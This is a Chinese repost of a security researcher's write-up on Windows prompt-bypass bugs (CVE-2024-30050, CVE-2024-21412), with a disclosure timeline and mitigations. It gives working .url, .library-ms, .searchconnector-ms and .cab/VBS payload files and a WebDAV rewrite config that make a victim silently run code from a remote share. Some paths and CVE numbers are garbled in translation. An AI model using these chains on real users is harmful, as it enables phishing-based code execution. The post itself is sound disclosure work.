CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为

渗透技巧 4个月前 admin
106 0 0

CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为

总结:

  • .URL文件处理文件共享和存档不佳

  • .LNK文件不好,处理.URL文件不当

  • 文件共享对文件名的处理很糟糕

这些让您可以绕过用户安全提示并在没有任何警告的情况下执行命令。

介绍

对于攻击者来说,获取初始访问权限变得越来越具有挑战性。

微软已开始将Web 标记(MoTW) 和SmartScreen视为合法的安全保护措施,使得诱骗用户运行恶意文件变得更加困难。

在这篇文章中,我们将探讨快捷方式处理中的缺陷、格式错误的网络共享文件名以及文件.url不一致问题,这些缺陷允许攻击者运行任意代码而不会触发警告比如.lnk 和.cab

.url绕过工作目录

.url文件是 Internet Explorer 时代的文件类型,可用作精简版的快捷方式文件。它们看起来像这样:

[InternetShortcut]URL=https://aurainfosec.com

虽然它们的预期用途是链接到网站,但它们也可以引用在文件.url运行时执行的本地或远程文件。当您引用远程文件时,\hostsharefile.exe您会收到一个大警告提示。

但是,当使用参数引用本地文件时,Url它将在没有任何提示的情况下执行。

[InternetShortcut]URL=C:WindowsSystem32cmd.exe

但是,没有参数可以传递给可执行文件,因此这还不是很有用。

关于.url文件的官方文档很少,但 Edward Blake在这里发表了一篇很好的文章,详细介绍了一些您可以使用的参数。

其中一个参数是WorkingDirectory。它允许定义引用的可执行文件的工作目录,可以是本地目录或远程文件共享。

[InternetShortcut]Url=C:/Windows/System32/cmd.exeWorkingDirectory=\example.comworkingdir

其特殊之处在于,有许多 Windows 原生可执行文件会在定义的工作目录中搜索可执行文件或 DLL 并运行它。其中一个例子是C:WindowsSystem32stordiag.exe。stordiag.exe运行时,它会在工作目录中搜索powershell.exe并执行它。

因此,由于我们可以定义远程工作目录,因此我们可以调用任何可执行文件powershell.exe并将其放置在外部文件共享中(我使用了calc.exe)。运行.url文件引用时,将搜索并执行stordiag.exe外部文件共享。powershell.exe

[InternetShortcut]Url=C:/Windows/System32/stordiag.exeWorkingDirectory=\example.comworkingdir

不幸的是,大多数浏览器都会拒绝下载.URL文件,尝试在存档中运行文件会导致用户提示。但是……

文件.LNK(更常见的快捷方式文件)在从存档运行时始终会给出用户提示,除非引用的文件是受信任的文件类型。幸运的是,文件恰好.URL是受信任的文件类型,这意味着我们可以使用.LNK来引用远程文件.URL,而远程文件又引用本地可执行文件。这样,我们可以绕过所有提示,同时仍然使用远程工作目录来执行任意代码。

以下是完整流程:

共享绕过中的文件名格式错误

在远程文件共享上,如果您将文件命名为C:cmd.exe(解释为C:WindowsSystem32cmd.exe)并运行它,它将cmd.exe在没有任何提示的情况下打开。

与 WorkingDirectory 问题非常相似.url,如果可以在此处将工作目录设置为远程目录,同时引用类似C:stordiag.exeC:WindowsSystem32stordiag.exe)的内容,它应该在外部文件共享中搜索任何包含的 DLL 或可执行文件。

文件共享将工作目录设置为默认情况下执行的位置。因此,我们可以使用相同的策略,即弹出powershell.exe共享中命名的任何可执行文件,这些可执行文件将在C:stordiag.exe执行时运行。

但是,这需要说服某人直接连接并从文件共享运行可执行文件,而这不太可能。幸运的是,有几种文件类型可以间接允许打开外部文件共享,即.library-ms.searchconnector-ms

A.library-ms看起来像这样:
<?xml version="1.0" encoding="UTF-8"?><libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">  <name>@windows.storage.dll,-34582</name>  <ownerSID>1</ownerSID>  <version>7</version>  <isLibraryPinned>false</isLibraryPinned>  <iconStream>DefaultIcon1</iconStream>  <templateInfo>    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>  </templateInfo>  <propertyStore>    <property name="ShowNonIndexedLocationsInfoBar" type="boolean"><![CDATA[false]]></property>  </propertyStore>  <searchConnectorDescriptionList>    <searchConnectorDescription>      <isDefaultSaveLocation>false</isDefaultSaveLocation>      <isDefaultNonOwnerSaveLocation>false</isDefaultNonOwnerSaveLocation>      <isSupported>false</isSupported>      <includeInStartMenuScope>false</includeInStartMenuScope>      <simpleLocation>        <url>\example.comshare</url>      </simpleLocation>    </searchConnectorDescription>  </searchConnectorDescriptionList></libraryDescription>

.searchconnector-ms包含SearchConnectorDescription 部分:

<?xml version="1.0" encoding="UTF-8"?><searchConnectorDescription>    <isDefaultSaveLocation>false</isDefaultSaveLocation>    <isDefaultNonOwnerSaveLocation>false</isDefaultNonOwnerSaveLocation>    <isSupported>false</isSupported>    <includeInStartMenuScope>false</includeInStartMenuScope>    <simpleLocation>    <url>\example.comshare</url>    </simpleLocation></searchConnectorDescription>
虽然 a.searchconnector.ms默认会将 WorkingDirectory 设置为远程共享,但 a.library-ms需要OwnerSID设置参数(可以是任何值)。我不知道为什么。

但是,C:stordiag.exe有点可疑,不太可能有人会点击它。我们还可以使用绝对引用,例如C:WindowsSystem32stordiag.exe或 UNC 路径,例如\localhostc$windowssystem32stordiag.exe

通过使用 UNC 路径,我们可以添加空格和遍历序列来混淆真正的文件名,例如

echo 1 > 'cats.png              这里有空格                                                                                                            ........localhostc$windowssystem32stordiag.exe'

然后显示为:

CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为


但是 呢powershell.exe?好吧,如果您使用Caddy进行WebDAV,则可以重写对共享基础的任何请求(/),以转到其他共享。powershell.exe不会显示在目录列表中,但直接引用时仍可访问。


这是Caddyfile:

{    order webdav before file_server}
<host> {
rewrite /<share with powershell.exe> /<share containing filesystem reference> webdav}

所以:

  • 分享A有powershell.exe

  • 共享 B 中有一个名为c:stordiag.exe

  • Caddy 会将所有请求重写到\example.comShareA\example.comShareB但不会重写到 的请求\example.comShareApowershell.exe

通过这样做,我们就有了良好且合理可点击的有效载荷。

当然,你也可以使用之前的.url漏洞,看起来好多了:

.searchconnector-ms都不.library-ms在 Outlook 的阻止附件列表中。

.url+.cab遍历绕过 (CVE-2024-21412)

引用任何“不安全”的文件.url都会给你一个安全提示。

CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为

.vbs如果你在 中引用类似 (VBScript) 文件的东西,.cab它会抛出一个错误,而且它不会explorer.exe抛出错误,它会是wscript.exe。这很重要,因为当部分失败时不会给出任何提示explorer.exe,而wscript.exe部分失败只是因为它无法处理 cab 文件。

[InternetShortcut]Url=file://h.dawg/cabtrav/error.cab/z.vbs

CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为

从ProcMon我们可以看到,explorer.exe在尝试遍历 cab 文件时,获取过程失败,但wscript.exe无论如何都会启动指向该文件的操作。

CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为


CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为

那么我们该如何处理wscript.exe cab 文件呢?好吧,看看wscript.exe实际运行的内容,你会看到你引用的文件共享被括在引号中。

CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为

由于某些原因,Windows 中的某些可执行文件不关心引号,并完全忽略它们。例如,如果您运行wscript.exe “C:”a”s”d”f”.v””b”s它将运行C:asdf.vbs

所以,如果我们可以引用一个文件,该文件在explorer.exe进程中强制出错,但在忽略字符时形成有效路径,那么我们就可以在没有任何提示的情况下运行vbs。

为了证明这一点,我们需要共享中的几个文件:

z.vbs创建于:

Set objShell = CreateObject("WScript.Shell")objShell.Run "calc.exe"

..”z”.vbs创建于:

echo 1 > '.."z".vbs'

test.cab创建于:

lcab '.."z".vbs' test.cab

我们还需要创建.url有效载荷:cab.url

[InternetShortcut]Url=file://HOST/SHARE/test.cab/z".vbs

单击.url后将出现以下流程:

  • explorer.exe试图进入z”.vbs出租车

  • 它进入驾驶室,但字符无效,因此会抛出错误

  • 流程继续,并wscript.exe通过命令行启动“wscript.exe” “\HOSTSHAREtest.cab..”z”.vbs

  • 我实际上不知道为什么这会添加..”,因为这从未在.url

  • 字符被忽略,并wscript.exe尝试打开\HOSTSHAREz.vbs

  • z.vbs无需任何提示即可执行

然后运行该.url文件时,远程 vbs 就会执行,没有任何提示:

虽然我们可以使用.lnk指向 的 来.url从 zip 文件中利用此漏洞,但由于这依赖于服务器上的存档,因此会提示用户提取位置。虽然这在技术上不是安全提示,但它很奇怪,可能会触发点击者的一些警报。

但是,它确实可以在文件共享中工作,无论是通过前面提到的.searchconnector-ms/.library-ms文件还是通过search-ms:URL,例如

search-ms:displayname=Files&crumb=kind:url&crumb=location:%5c%5c<HOST>%5C<SHARE>&search

以下是攻击链的示例:

CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为

CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为

CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为

.LNKSLDF_HAS_DARWINID 绕过 (CVE-2024-30050)

.LNK文件也很古老。当我寻找为目标设置相对路径的方法时,.LNK我偶然发现了创建标志列表:

https://learn.microsoft.com/en-us/windows/win32/api/shlobj_core/ne-shlobj_core-shell_link_data_flags

typedef enum {  SLDF_DEFAULT = 0x00000000,  SLDF_HAS_ID_LIST = 0x00000001,  SLDF_HAS_LINK_INFO = 0x00000002,  SLDF_HAS_NAME = 0x00000004,  SLDF_HAS_RELPATH = 0x00000008,  SLDF_HAS_WORKINGDIR = 0x00000010,  SLDF_HAS_ARGS = 0x00000020,  SLDF_HAS_ICONLOCATION = 0x00000040,  SLDF_UNICODE = 0x00000080,  SLDF_FORCE_NO_LINKINFO = 0x00000100,  SLDF_HAS_EXP_SZ = 0x00000200,  SLDF_RUN_IN_SEPARATE = 0x00000400,  SLDF_HAS_LOGO3ID = 0x00000800,  SLDF_HAS_DARWINID = 0x00001000,  SLDF_RUNAS_USER = 0x00002000,  SLDF_HAS_EXP_ICON_SZ = 0x00004000,  SLDF_NO_PIDL_ALIAS = 0x00008000,  SLDF_FORCE_UNCNAME = 0x00010000,  SLDF_RUN_WITH_SHIMLAYER = 0x00020000,  SLDF_FORCE_NO_LINKTRACK = 0x00040000,  SLDF_ENABLE_TARGET_METADATA = 0x00080000,  SLDF_DISABLE_LINK_PATH_TRACKING = 0x00100000,  SLDF_DISABLE_KNOWNFOLDER_RELATIVE_TRACKING = 0x00200000,  SLDF_NO_KF_ALIAS = 0x00400000,  SLDF_ALLOW_LINK_TO_LINK = 0x00800000,  SLDF_UNALIAS_ON_SAVE = 0x01000000,  SLDF_PREFER_ENVIRONMENT_PATH = 0x02000000,  SLDF_KEEP_LOCAL_IDLIST_FOR_UNC_TARGET = 0x04000000,  SLDF_PERSIST_VOLUME_ID_RELATIVE = 0x08000000,  SLDF_VALID = 0x003FF7FF,  SLDF_RESERVED} SHELL_LINK_DATA_FLAGS;

将所有这些标志应用于 后LNK,我注意到我没有收到任何用户提示。通过逐个删除这些,我确定这是由于包含 标志所致SLDF_HAS_DARWINID,根据本文,该标志表示该链接是一个特殊的 Windows 安装程序链接。我不确定这是什么意思。

通过简单地使用此标志创建一个快捷方式文件,我们可以将其放入 zip 中并让它执行而不会出现任何警告。

CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为

CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为

CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为

SLDF_HAS_DARWINID您可以使用以下工具创建带有标志的快捷方式文件。https://gist.github.com/dwbzn/cbe3250723a691dda8da007c68f9cda4

这为什么不好?

这四种漏洞都允许攻击者绕过 Windows 中基于提示的安全保护,从而更容易诱骗用户运行恶意文件。通过滥用旧文件格式和 Windows 处理某些情况的不一致之处,攻击者可以在受害者的机器上执行任意代码而不会发出警告。

虽然简单地避开警告提示似乎不是什么大问题,但通过网络钓鱼攻击高价值目标并不容易。此类技术通过减少受害者注意到正在发生的事情的机会,大大增加了成功的可能性。

提交流程

所有这四个都是在 2023 年 11 月/12 月通过 Microsoft 的 MSRC 错误提交程序提交的。两个被分配了 CVE(CVE-2024-30050、CVE-2024-21412),尽管查看 Trend Micro 关于同一 CVE 的帖子时发现这是完全不同的,所以我不完全确定那里发生了什么。

其中最有影响力的可能是SLDF_HAS_DARWINID绕过,因为它不依赖于 SMB/WebDAV

披露时间表:

  • 2023 年 11 月 26 日——向 MSRC 提交格式错误的文件名绕过方法

  • 2023 年 12 月 2 日——提交 CVE-2023-21412 并绕过 WorkingDirectory

  • 2023 年 12 月 7 日- CVE-2023-21412 已关闭,不再存在问题

  • 2023 年 12 月 17 日——提交 CVE-2024-30050

  • 2023 年 12 月 20 日- WorkingDirectory 和畸形文件名绕过已关闭,不再存在问题

  • 2023 年 12 月 22 日——WorkingDirectory 绕过重新开放

  • 2024 年 2 月 2 日——CVE-2023-21412 重新开放

  • 2024 年 2 月 13 日- CVE-2023-21412 已在周二补丁日中修复

  • 2024 年 4 月 25 日- 通过修复 CVE-2023-21412 间接缓解了 WorkingDirectory 绕过问题

  • 2024 年 5 月 14 日——发布针对 CVE-2024-30050 的补丁

截至2024 年 7 月 9 日:

  • .url文件在共享或作为目标时不再被视为安全.lnk,从而杀死了工作目录和遍历错误的大多数良好攻击链

  • 格式错误的文件名绕过仍然可被利用

建议

  • 禁止.url运行文件

  • .lnk禁止打开 zip 文件/共享中的任何文件

  • 禁止打开从互联网下载的.searchconnector-ms.library-ms和文件.search-ms

  • 禁止 SMB/WebDAV 访问互联网

  • 其中三个依赖于出站 SMB / WebDAV,限制出站连接应该会使它们无法通过互联网被利用


https://research.aurainfosec.io/pentest/do-not-click-evil-dot-txt/



感谢您抽出

CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为

.

CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为

.

CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为

来阅读本文

CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为

版权声明:admin 发表于 2024年7月14日 上午10:47。
转载请注明:CVE-2024-30050 RCE 和其他 Windows RCE愚蠢行为 | CTF导航

相关文章